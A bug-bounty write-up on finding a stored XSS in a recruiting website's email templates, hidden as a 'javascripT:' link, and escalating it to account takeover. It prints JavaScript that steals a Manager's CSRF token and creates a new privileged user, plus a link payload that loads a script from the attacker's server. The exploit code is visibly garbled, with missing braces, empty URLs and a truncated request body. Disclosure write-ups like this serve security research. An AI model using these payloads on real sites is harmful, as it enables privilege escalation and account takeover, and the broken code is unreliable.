some-image here

Account Takeover via Stored XSS

In this write-up i am going to tell you how i found a stored xss and how i escalated my privileges using it. So this was an external program which i found from google and it was a recruiting website.The website have different roles like Admin, Manager, Staff etc. In that website you can interview new recruiters and you can send them emails like if they get hired you can send them an email or if you want new information about the recruiter like background check or something you can simply send them email asking for that info. There was an option of Templates, where you can create your own templates and use them in your email. For example you can create a template related to user background check and when you're sending an email to a user you just need to select this template and it will be added to your email. Now you don't need to write long emails asking user for background check, you can simply create a template and use it in email every time you have to ask someone for background check.

If we talk about template, there was a title field where you can set a title for your template and a body field. In body, you can write texts and then these texts will be added to your email. You can also insert link in the body. When i first came across this i didn't notice it. When i noticed it and tried to put javascript:alert() it gives me an error of invalid sytnax. I tried to put other xss payloads and it was giving me the same error. Then it tried to put javascripT:alert(1) and i was able to add this as a link but when i clicked on it, it didn't pop-up. I went to the email section and added this template there and tried to pop-up an alert by clicking on the xss payload but still it didn't work. The payload was reflecting inside the <a> tag and it should have pops-up an alert when i clicked on it but it didn't. There was an options of Echo Back, i turned it on and sent the email. The email was echos back in the Activity section of the website. That xss payload was also reflecting and it pops-up an alert when i clicked on it.

There was an interesting thing, while creating a link with a xss payload if you write some text in the template's body and select it and then you add a link with a xss payload, the payload will hide inside those selected text. See the gif below:

setting xss payload behind text

And this is where the xss is firing:
XSS firing

we got a cool stored xss now the problem is i have to escalate this xss because it was the program policy. The session cookie was httponly which means i cannot steal them. Next thing that came in my mind is that i should steal CSRF tokens and bypass CSRF protection. The idea was cool but i didn't know how to do that, i suck at javascript. But fortunately i have a good friend who is good at things like these. The website sending CSRF tokens in the request header so first we should steal those tokens and then use these tokens to escalate our privileges from low user to admin. At that time my admin account was locked due unknown reasons so i couldn't escalate my privileges. There was a Manager account too and he can add new users with Manager privileges. So we (only my friend xD) wrote an exploit for adding a new user with Manager privileges. The exploit will work something like this:

1) The exploit will steal Manager CSRF tokens first (assuming a Manager will click on our xss payload).
2) Then the exploit will use these CSRF tokens and try to add a new user with Manager privileges.

Now i know the new created user's email and password. I can login with a Manager privileges and can do the damage. Here is the exploit that i used:

     function readBody(xhr) {
		var data;
		if (!xhr.responseType || xhr.responseType === "text") {
		data = xhr.responseText;
		} else if (xhr.responseType === "document") {
	 	data = xhr.responseXML;
		} else {
	 	data = xhr.response;

	var parser = new DOMParser();
	var resp = parser.parseFromString(data, "text/html");
	token = resp.getElementsByName('_csrf')[0].content; //grab first available token
	return data;

	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = function() {
	    if (xhr.readyState == 4) {
		response = readBody(xhr);
	}'GET', '', true);

function csrf(token) {
  const queryString =;
  const urlParams = new URLSearchParams(queryString);

fetch('', {
    method: 'POST',
    headers: {
        'Content-Length': '346',
        'Accept': 'application/json, text/plain, */*',
        'X-Csrf-Token': token,
        'Sec-Ch-Ua-Mobile': '?0',
        'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Dest': 'empty',
        'Referer': '',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'en-US,en;q=0.9',
        'Connection': 'close'
    credentials: 'include',
    body: 'firstName=hacker&lastName=r29k&

Now i have to host this exploit on my server and call it via stored xss i got. I need to set a xss with this payload,
javascripT:var s = document.createElement('script');s.type = 'text/javascript';
s.src = 'https://myserver/file.js';document.head.appendChild(s);console.log("");
The echoes back email is shown to high privileges users so if a Manager will click on our xss payload a new user will be added with Manager privileges. Later my admin account unlocked and i tried this on it and i was able to add a new user with admin privileges. After the exploitation i wrote a nice report and submitted it. After few days i got reply from the team and the bounty was 1000$. If you can escalate your xss further then do it.

Neolex helped me with the exploit. I wanna thank you bro for helping me with this xss. This bounty and this write-up wont be possible without you, all credits goes to you!!
If you have any feedback or any question feel free to dm me on twitter R29k.Thank you for reading this, i will see you in the next write up.